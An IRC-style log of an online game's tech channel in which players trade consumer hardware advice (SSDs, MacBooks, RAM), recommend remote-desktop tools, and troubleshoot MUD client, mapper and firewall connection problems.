T3/r7/2013-04-21.txt.gz:{chan ch=tech}Book of Etzli Tech: just like chromium is an OS.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Ontuct Tech: OS2
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: my MUD client runs natively on OS/2!
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Ontuct Tech: os2 was stable.... in it's day good
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i went to the apple store.  it says they used flash-based architecture whatever that means.  i've never seen that on a pc-based spec sheet.  is there a speed advantage there?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: it's available on both Macs and wintel hardware
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: looks like standard on macs.  but is it faster than typical PC?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Zetkax Tech: is this a reference to ssd?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: no, I don't think so zet
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: it's what people call SSD, solid-state hard drive
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: i highly recommend ssd for laptops
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: abelinc, are you saying this flash-based stuff just means ssd?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: it's faster read speed than spinning hard drives, and isn't subject to a head crash if there's G forces
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: SSD is flash
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: spinning discs ive always had to change, could be the angle or something
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Vonliege Tech: SSD = Godly storage
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: just much smaller capacity
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: why do some of these laptops on newegg have both HDD and SSD?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: they come in sizes big enough to accommodate most needs for laptop use.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: you can get multiple hard drives in some laptop configurations
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: i recommend external hd
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: so they can put one ssd and one hdd
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: for extra space
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Leinei Tech: SDD is probably more expensive per GB, so the important stuff is on the SDD, and other stuff is on the HDD
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: but internal ssd, so you can travel w/out worry
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: other stuff being things like pictures?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: or games
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Leinei Tech: Nods, stuff that's not being read/written all the time.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: you can install stuff to it, just needs to be connected for those apps to work
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: and the connection (usb?) doesn't bottleneck the speed?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}RedRain Tech: where would aardmush go?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Zetkax Tech: ive never had a laptop hard drive crash due to g forces but im usually careful with it
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: some ports are fast enough for apps that are infrequently used
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: aardmush is portable, it can go anywhere ;-)
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: i think you can even do hot swappable w laptops
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Zetkax Tech: i dont see robustness as much of an advantage, speed and low noise would be pros but wearing out is a con
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: its not just drops, for me it was tilt, pitch, or yaw? i forget the terms
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Zetkax Tech: another con is the higher cost per gig
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: current crop of non-bottom-end are pretty much past the wearing out issue, but cost can be a big con
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: anyways surfaces that are not level
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Zetkax Tech: humbler, you killed a laptop harddrive?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: one?! try three in 2 years
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: my house living room floor had a slight slope
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: weird, I use my laptop with spinning hdd at all angles no problem
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: thats what i think it was
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: may only be with minor angles, i used a flat table, on a slopped floor
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: right now I'm in bed with it on my lap, I'll carry it around by the corner, put my legs up in a teepee with it that way, etc
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Leinei Tech: The hard drive is about the only thing that does still work well on mine.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: i way have just been jinxed, the apple store geniuses were surprised too
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Probably just bad luck Humbler
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Leinei Tech: fan is pretty much dead, wifi is dead, hinges are cracked...
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Leinei Tech: I have a can of compressed air I use to kickstart the fan
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: hehe for me hdd and charge ports always go firsts
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Leinei Tech: whenever I get a fan error
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: also crappy wiring in here
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: budget not really an issue.  My wife is leaning Mac but I've only ever used PC
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: if you get laptop, for the love of tod, get sdd
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: you love tod dont you?!
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Zetkax Tech: do you mean zod from superman?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Tod sucks.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yes I want a SSD.  But are these standard on all macbooks?  (air vs. pro?)
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: not standard, you have to customize
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: tbh, i prefer a tablet for the uses you described
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: but i figure you may want the flexibility to game without dealing with a tablet version of linux
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Zetkax Tech: what annoys me about the bulk of laptops today is 1366x768 - that 768 is just too low
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: zet what do you mean
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Vost Tech: it sounds like you want a desktop replacement rather than a portable
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Vonliege Tech: Laptop = limited pixel count
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Zetkax Tech: so many laptops have a low vertical screen resolution, pretty sure macs are not like that
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: if you only need netflix, office, and webbrowsing/email, you can do a tablet like the adam or ztab and get all of that on it from the company
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Vost Tech: yeah, but you pay a premium
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tigernuts Tech: apparently a mistake was found in the spreadsheet that formed part of an important economist study into debt-laden governments, a study used as justification by many governments for imposing austerity
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Endtime Tech: nate silver wrote that up, iirc
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: mischan tiger?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Sonshi Tech: economists have been saying for ages that that study was wrong though...
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tigernuts Tech: vaguely technical related ;-)
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tigernuts Tech: the study was largely irrelevent, but that's not an argument for this channel
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: i am pretty trusting of mr. silver's abilities
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: lol tiger you brought it kp
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: humbler, our main issue w/ the tablet is peripherals.  I'm a keyboard junkie and hate getting my oily fingers on the screen
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Sonshi Tech: coding error notwithstanding, the conclusions reached didn't make any sense, and other economists could not replicate the results. When you come up with odd results no one can replicate... bad idea to base any important policy off it
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: tigernuts, it changed their findings from -.1% shrink to .2% growth.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tigernuts Tech: the been claim 2.2, but ok
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: that's the difference from the spreadsheet error alone.  there are other methodological issues that can get up to the 2.2%
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: does anyone hav experience using the MS office suite on macbooks?  Wondering if anyone has negative experiences w/ it
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: my favorite shortcut in the world is alt-d in IE.  Annoyed that it's not similar on the macbooks in the store.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: what does alt d do in ie?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Endtime Tech: is alt+d the "minimize all windows with porn in them" function?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: havent used ie in over 10 years
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: brings you right to the address bar
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: but it's a program-specific one, not an OS-specific one...it doesn't work in other browsers on Windows either...
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: my wife would like to know if macbooks are essentially immune from porn-site viruses?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I thought it worked in chrome as well
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: Vost goes, "SUUUUUUUURE...."
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: nope, at least not in the chrome I'm using
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: they are not kojiro
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: tell you wife to use protection
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Ophelion Tech: lol
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what is the chrome shortcut?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Sharkin Zanion Tech: tell her to go to high quality porn sites and she wont have a problem.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: it does work in FF tho
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: even low quality news sites have problems.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Endtime Tech: song lyric websites are pretty thick with the viruses as well
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Eutychus Tech: Just play flash games with out of data adobe flash.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: when aaple does their OS iteration, like the one coming up in June supposedly, do you get it free or have to buy it?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tigernuts Tech: most likely buy it
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: uninstall java and you're much safer
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: if I get a SSD in the laptop, is it extra important to get more RAM to help w/ temp storage?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: but you want enough RAM that you should never be swapping anyway...
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: 4 is ok and you really don't need more than 8 on a high-end pc
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Ophelion Tech: 1 think no one has said yet.. dont use HDD defraggers on an SSD.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you don't need to use defraggers with a regular hdd either
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i haven't defragged a hard drive since 1998
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Sharkin Zanion Tech: thats amaizng you knew the exact year you last defragged.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i refuse to believe you're that old
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Vost Tech: I know the exact year that I last defragged a hard disk too...
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: anyway, w7 defrags automagically and it's no problem with ssd's
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Eutychus Tech: If he uses SSD's then he would be accurate in doing so but I doubt he does.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: for the basic stuff i talked about earlier, do you think there would be a noticeable difference between macbook pro and air?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: definitely. air is much lighter
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it also looks different
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Eutychus Tech: Is that a serious question?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: other than form factor, yes a serious question
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you could even say it's thinner
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Eutychus Tech: MBP is much more powerful.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Eutychus Tech: Google the specs.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: Humbler is agreeing with that Eutychus person again...
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Frolo Tech: yes, but can you notice the difference in the power if you just use word and internet?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I see the specs difference.  but all specs run minesweeper the same.  There is no point paying the apple price premium for specs making marginal or no difference in her expected use.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Eutychus Tech: No.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: you can always notice the difference in word, its a memory hog
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Eutychus Tech: If you buy a MBP for netflix and word, you wasted your money.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: what about excel?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Eutychus Tech: Depends, excel probably uses quite a bit more processing power and ram. Depends on how complex your spreadsheets are.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}MightyChick Tech: how do you find out the room id number?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: GMCP
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: depends on your client
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no, humbler
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: mis
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: mapper thisroom or hover over the room in MUSHclient
T3/r7/2013-04-21.txt.gz:{chan ch=tech}MightyChick Tech: im using mudlet. i just found a mapper.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}MightyChick Tech: just still confused on how to use it
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: 4chan and reddit id'd pretty much everyone with a backpack which isn't much use
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: damn, mis again
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: screw this, now i'm really going to bed
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: you'd use a GMCP trigger to tell the mapper the info
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: tbh, mudlet docs are quite useless, I'd recommend bailing on it and just using Aard MUSHclient package which will be better than anything you'd put together in Mudlet
T3/r7/2013-04-21.txt.gz:{chan ch=tech}MightyChick Tech: i have an old mac. i cant use wine
T3/r7/2013-04-21.txt.gz:{chan ch=tech}MightyChick Tech: ive tried everything to get a client to work. this is the only one
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: VirtualPC instead of Wine ;-)
T3/r7/2013-04-21.txt.gz:{chan ch=tech}MightyChick Tech: what is that?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: Humbler gasps as he realizes what MightyChick did.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: it was a product by Connectix, which was later purchased by Microsoft to form the core of Microsoft's VirtualServer
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: VPC existed to let old Macs run Windows
T3/r7/2013-04-21.txt.gz:{chan ch=tech}MightyChick Tech: so googling it would work?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: virtual pc is an emulator to run a different os withn an os
T3/r7/2013-04-21.txt.gz:{chan ch=tech}MightyChick Tech: ive been playing aard for a year. 9 months were on a phone. im jsut happy as can be to be not on my phone
T3/r7/2013-04-21.txt.gz:{chan ch=tech}MightyChick Tech: but thank you. im going to see what i can do with the virtualpc
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: heh, it's been about 8 years since a Mac was made that doesn't run Wine
T3/r7/2013-04-21.txt.gz:{chan ch=tech}MightyChick Tech: yeah i got an old mac from the highschool when they were ridding them for free
T3/r7/2013-04-21.txt.gz:{chan ch=tech}MightyChick Tech: believe its a 2006
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: i respect that, frugal
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: 2005
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: 2005 should run wine o_O
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: 2005 was the G5
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: 2000 should run wine?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: need Intel for Wine
T3/r7/2013-04-21.txt.gz:{chan ch=tech}MightyChick Tech: well thanks again. ill keep searching :)
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: didnt they have a way to run wine on ppc?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: wine doesn't emulate the processor, just syscalls, so you need a processor emulator to cross processor families
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: no, that's what SoftWindows and VirtualPC were for
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: is there free software that would let me remote into and access my home PC from a laptop?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: yes kojiro
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what is it called?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: there are dozens of them
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tigernuts Tech: remote desktop?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: Windows had remote desktop built-in
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: can use VNC, can use logmein, etc
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: Humbler seems to think you have the right idea.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: logmein ftw!
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: VNC, logmein and all the similar sites are cross-platform
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: do i need any hardware other than my home pc and my laptop and an internet connection to both?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: i like teamviewer..but its all basic
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: teamviewer is based on VNC, but is similar to logmein in that it's more efficient than stock and uses their site as a broker to access through anything
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: nope, you don't need anything extra to get them to work
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: with things like teamviewer and logmein, the client that you run on the computers connects to their website and registers itself there...that means you don't have to muck about with router/firewall settingsto get to it from the Internet-at-large
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: with remote desktop and basic VNC, you'd need to configure your router to send all connections to your public IP at port xxx to the desktop
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Kashra Tech: yeah but getting someone to type logmein123.com is a bitch sometimes T_T
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: don't need them to type it, run the client there f/t
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: abelinc, would you recommend one vs. the other for a "casual" user who has some PC and some AAPL products but would like to be able to remote from either to either?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: what are you trying to do? sounds like you want dropbox or google drive
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: Grua, let's say I want to access a program like Bloomberg on my home PC w/o installing it on a laptop
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: I like logmein (heh, my favorite is netsupportmanager, but that's commercial overkill)
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Book of Etzli Tech: I prefer teamviewer. So nice. :p
T3/r7/2013-04-21.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: it was easy enough for my mom to set up.. so its very basic lol
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: heh, all I do is log in (or create account), click "add computer", and click "next" or "OK" a couple times
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: thanks all for the tech help.  I'm going to buy her a macbook air as an experiment
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: 8 GB of ram, SSD.  any other thoughts/input on this?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I've never been a fan of paying the apple premium vs. alternatives, but I think she secretly really wants it vs. a PC
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: and how much money is your wife's happiness worth }:>
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: since we are living in NYC/state solely for her happiness, a LOT
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: can't wait to move to puerto rico and pay zero capital gains taxes until 2035
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: hopefully they aren't made the 51st state
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: should become a state just after you move there, that's the way things work
T3/r7/2013-04-21.txt.gz:{chan ch=tech}MightyChick Tech: abelinc do you know where i can find an old version of the virtualpc? the virtualpc7 wont run on my system
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Pedwiddle Tech: Hrm.  okay, so I've got a problem.  I had been able to connect from work up until a week ago when they did some work on the network.  Now I connect successfully (logs me out on my phone, etc.), but I see no output on my client.  Telnet appears to hang as well.  Thoughts?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Hanslanda Tech: are you aware of what they were doing?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Shameful Dugrant Tech: probably got a firewall blocking the traffic inbound.  You could try the other ports and see if any of them transmit.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Pedwiddle Tech: I have no specifics of what they did, and I've tried 23, 4000, 4010, 4444, and 7777
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Pedwiddle Tech: ssh, as well
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Pedwiddle Tech: K, well, if anyone has any other thoughts, let me know.  Thanks.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ssh won't work because aardwolf doesn't accept ssh connections
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Pedwiddle Tech: Ah, k
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm not sure why you'd be able to get a connection through but then hang, though
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Pedwiddle Tech: Right, seemed odd to me as well
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Pedwiddle Tech: Unless, as Dugrant suggested, they only blocked incoming traffic.  I don't think telnet requires any complicated handshaking, but regardless, my client probably sends the username and password when the connection is established, regardless of whether it has seen the prompts
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: all TCP requires 2-way handshake
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Pedwiddle Tech: K, fair enough.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Pedwiddle Tech: Guess I'll try to wrap my brain around blowtorch again
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: but yeah, if it's logging you out of the phone's connection to Aard, then you're connected to Aard
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: they could have a triggered block that only cuts off a connection after validating its inacceptability via deep packet inspection
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: hello boys. got me a problem with mapper.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: need to be more specific
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: Fatal FrostBite nods at Helperful Cheezburger.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: I'm getting there, lol
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: symptoms, causes, diagnostics, go
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: well, I did the ultimate evil.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: i put planes portal into mapper
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: baaaaad idea
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I have mine in it
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: you should have the planes portal in it
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: then, i deleted it using the mapper delete portal <command>
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Vonliege Tech: I have a mapper question - when I 'mapper find <common room>', the mapper locks up aardmush for up to 7 minutes while it tries to find paths to everywhere.  When I use 'mapper list <common room>', I often get no results at all... what direction to I turn to fix this issue?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: instead of the index #
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Fatal FrostBite Tech: use mapper area when your in the area... mapper find takes too long. There's a way to reduce the depth of the search but I forget the command.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mapper quicklist on
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh wait
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: thing is, mapper still uses the planes portal, and I can't change anything about it, cause the alias is gone
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: wrong answer
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: CAN'T CHANGE ANYTHING ABOUT IT
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: right
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Vonliege Tech: mapper quicklist!  sounds brilliant... BTW, I only use the 'find' and 'list' options when I have a room name CP, and duckbat is broken.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: mapper delete portals? :P
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto strongly suggests you all rtfm.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: quicklist I think won't fix you, vonliege, sorry
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: you could change the pathlength, no?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Vonliege: please describe the problem again, because it's not clear to me
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: what if i just re put the alias back into mapper, and then deleted the portal by id #? think that would help?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: nobody knows what you are talking about, roninleader
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Vonliege: if the problem you have is that a list of results takes too long to show because it is pathfinding all of them up front, then quicklist is the answer for you
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: you deleted some other portal accidentally, and didn't touch the planes one
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that won't fix empty lists, obviously
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Vonliege Tech: the issue:  When I am looking for a room (area unknow), and it is a common room name (like "stairs"), the mapper will go looking for it, but will send aardmush into a state of "not responding" for up to seven minutes... I try to use "list" since this doesn't look for paths... just room names.  but I often do not get any returns from "list"
